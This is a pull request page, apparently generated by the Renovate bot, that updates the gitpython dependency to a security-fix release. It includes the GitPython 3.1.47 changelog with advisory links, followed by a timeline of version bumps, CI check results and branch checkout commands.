[`v3.1.47`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47): - with security fixes [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47) #### Advisories - <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4> - <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485> #### What's Changed - Prepare next release by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2095](https://github.com/gitpython-developers/GitPython/pull/2095) - Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2096](https://github.com/gitpython-developers/GitPython/pull/2096) - DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://github.com/Timour-Ilyas) in [#&#8203;2098](https://github.com/gitpython-developers/GitPython/pull/2098) - Fix GitConfigParser ignoring multiple \[include] path entries by [@&#8203;daniel7an](https://github.com/daniel7an) in [#&#8203;2100](https://github.com/gitpython-developers/GitPython/pull/2100) - Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2108](https://github.com/gitpython-developers/GitPython/pull/2108) - Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2106](https://github.com/gitpython-developers/GitPython/pull/2106) - Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2109](https://github.com/gitpython-developers/GitPython/pull/2109) - fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://github.com/lweyrich1) in [#&#8203;2105](https://github.com/gitpython-developers/GitPython/pull/2105) - Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2110](https://github.com/gitpython-developers/GitPython/pull/2110) - Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2111](https://github.com/gitpython-developers/GitPython/pull/2111) - Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14 by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2112](https://github.com/gitpython-developers/GitPython/pull/2112) - Fix `Repo.active_branch` resolution for reftable-backed repositories by [@&#8203;Copilot](https://github.com/Copilot) in [#&#8203;2114](https://github.com/gitpython-developers/GitPython/pull/2114) - docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;2115](https://github.com/gitpython-developers/GitPython/pull/2115) - cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://github.com/UweSchwaeke) in [#&#8203;2117](https://github.com/gitpython-developers/GitPython/pull/2117) - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2122](https://github.com/gitpython-developers/GitPython/pull/2122) - Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://github.com/Krishnachaitanyakc) in [#&#8203;2116](https://github.com/gitpython-developers/GitPython/pull/2116) - Harden commit trailer subprocess handling and align trailer I/O paths by [@&#8203;Copilot](https://github.com/Copilot) in [#&#8203;2125](https://github.com/gitpython-developers/GitPython/pull/2125) - git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://github.com/ngie-eign) in [#&#8203;2126](https://github.com/gitpython-developers/GitPython/pull/2126) - Make sure that multi-options are checked after splitting them with `shlex` by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2130](https://github.com/gitpython-developers/GitPython/pull/2130) - Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://github.com/WesR) in [#&#8203;2131](https://github.com/gitpython-developers/GitPython/pull/2131) #### New Contributors - [@&#8203;Timour-Ilyas](https://github.com/Timour-Ilyas) made their first contribution in [#&#8203;2098](https://github.com/gitpython-developers/GitPython/pull/2098) - [@&#8203;daniel7an](https://github.com/daniel7an) made their first contribution in [#&#8203;2100](https://github.com/gitpython-developers/GitPython/pull/2100) - [@&#8203;lweyrich1](https://github.com/lweyrich1) made their first contribution in [#&#8203;2105](https://github.com/gitpython-developers/GitPython/pull/2105) - [@&#8203;Copilot](https://github.com/Copilot) made their first contribution in [#&#8203;2114](https://github.com/gitpython-developers/GitPython/pull/2114) - [@&#8203;mvanhorn](https://github.com/mvanhorn) made their first contribution in [#&#8203;2115](https://github.com/gitpython-developers/GitPython/pull/2115) - [@&#8203;UweSchwaeke](https://github.com/UweSchwaeke) made their first contribution in [#&#8203;2117](https://github.com/gitpython-developers/GitPython/pull/2117) - [@&#8203;Krishnachaitanyakc](https://github.com/Krishnachaitanyakc) made their first contribution in [#&#8203;2116](https://github.com/gitpython-developers/GitPython/pull/2116) - [@&#8203;ngie-eign](https://github.com/ngie-eign) made their first contribution in [#&#8203;2126](https://github.com/gitpython-developers/GitPython/pull/2126) - [@&#8203;WesR](https://github.com/WesR) made their first contribution in [#&#8203;2131](https://github.com/gitpython-developers/GitPython/pull/2131) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNDEuNiIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Update dependency gitpython to v3.1.47 [SECURITY]
Some checks failed
Actions / Build (pull_request) Failing after 2s
Actions / Lint (pull_request) Successful in 51s
db0a2267ec
Renovate force-pushed renovate/pypi-gitpython-vulnerability from db0a2267ec
Some checks failed
Actions / Build (pull_request) Failing after 2s
Actions / Lint (pull_request) Successful in 51s
to 343be23737
Some checks failed
Actions / Build (pull_request) Failing after 2s
Actions / Lint (pull_request) Successful in 40s
2026-05-06 00:02:53 -04:00
Compare
Renovate changed title from Update dependency gitpython to v3.1.47 [SECURITY] to Update dependency gitpython to v3.1.48 [SECURITY] 2026-05-06 16:48:10 -04:00
Renovate changed title from Update dependency gitpython to v3.1.48 [SECURITY] to Update dependency gitpython to v3.1.49 [SECURITY] 2026-05-06 20:32:54 -04:00
Renovate changed title from Update dependency gitpython to v3.1.49 [SECURITY] to Update dependency gitpython to v3.1.50 [SECURITY] 2026-05-09 10:42:54 -04:00
Renovate force-pushed renovate/pypi-gitpython-vulnerability from 343be23737
Some checks failed
Actions / Build (pull_request) Failing after 2s
Actions / Lint (pull_request) Successful in 40s
to eca420b486
All checks were successful
Actions / Build (pull_request) Successful in 32s
Actions / Lint (pull_request) Successful in 37s
2026-07-12 10:10:32 -04:00
Compare
Renovate force-pushed renovate/pypi-gitpython-vulnerability from eca420b486
All checks were successful
Actions / Build (pull_request) Successful in 32s
Actions / Lint (pull_request) Successful in 37s
to 639b7b5749
All checks were successful
Actions / Build (pull_request) Successful in 32s
Actions / Lint (pull_request) Successful in 36s
2026-07-16 00:03:38 -04:00
Compare
Renovate force-pushed renovate/pypi-gitpython-vulnerability from 639b7b5749
All checks were successful
Actions / Build (pull_request) Successful in 32s
Actions / Lint (pull_request) Successful in 36s
to 23b0902f36
All checks were successful
Actions / Build (pull_request) Successful in 32s
Actions / Lint (pull_request) Successful in 37s
2026-07-20 10:04:04 -04:00
Compare
Renovate changed title from Update dependency gitpython to v3.1.50 [SECURITY] to Update dependency gitpython to v3.1.51 [SECURITY] 2026-07-21 17:03:24 -04:00
Renovate changed title from Update dependency gitpython to v3.1.51 [SECURITY] to Update dependency gitpython to v3.1.52 [SECURITY] 2026-07-21 21:03:24 -04:00
Renovate force-pushed renovate/pypi-gitpython-vulnerability from 23b0902f36
All checks were successful
Actions / Build (pull_request) Successful in 32s
Actions / Lint (pull_request) Successful in 37s
to d824f8187e
All checks were successful
Actions / Build (pull_request) Successful in 33s
Actions / Lint (pull_request) Successful in 37s
2026-07-22 01:03:30 -04:00
Compare
Renovate force-pushed renovate/pypi-gitpython-vulnerability from d824f8187e
All checks were successful
Actions / Build (pull_request) Successful in 33s
Actions / Lint (pull_request) Successful in 37s
to 5818478b00
All checks were successful
Actions / Build (pull_request) Successful in 33s
Actions / Lint (pull_request) Successful in 37s
2026-07-22 23:03:31 -04:00
Compare
Renovate changed title from Update dependency gitpython to v3.1.52 [SECURITY] to Update dependency gitpython to v3.1.54 [SECURITY] 2026-07-24 17:03:46 -04:00
Renovate changed title from Update dependency gitpython to v3.1.54 [SECURITY] to Update dependency gitpython to v3.1.55 [SECURITY] 2026-07-24 21:04:39 -04:00
Renovate force-pushed renovate/pypi-gitpython-vulnerability from 5818478b00
All checks were successful
Actions / Build (pull_request) Successful in 33s
Actions / Lint (pull_request) Successful in 37s
to 79725d82f4
All checks were successful
Actions / Lint (pull_request) Successful in 35s
Actions / Build (pull_request) Successful in 45s
2026-07-25 04:04:00 -04:00
Compare
Renovate force-pushed renovate/pypi-gitpython-vulnerability from 79725d82f4
All checks were successful
Actions / Lint (pull_request) Successful in 35s
Actions / Build (pull_request) Successful in 45s
to 758738631c
All checks were successful
Actions / Lint (pull_request) Successful in 38s
Actions / Build (pull_request) Successful in 1m5s
2026-07-26 04:03:56 -04:00
Compare
All checks were successful
Actions / Lint (pull_request) Successful in 38s
Required
Details
Actions / Build (pull_request) Successful in 1m5s
Required
Details
This pull request can be merged automatically.
You are not authorized to merge this pull request.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin renovate/pypi-gitpython-vulnerability:renovate/pypi-gitpython-vulnerability
git switch renovate/pypi-gitpython-vulnerability
Sign in to join this conversation.
No reviewers
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
GalacticFactory/GalacticFactoryUtils!15
No description provided.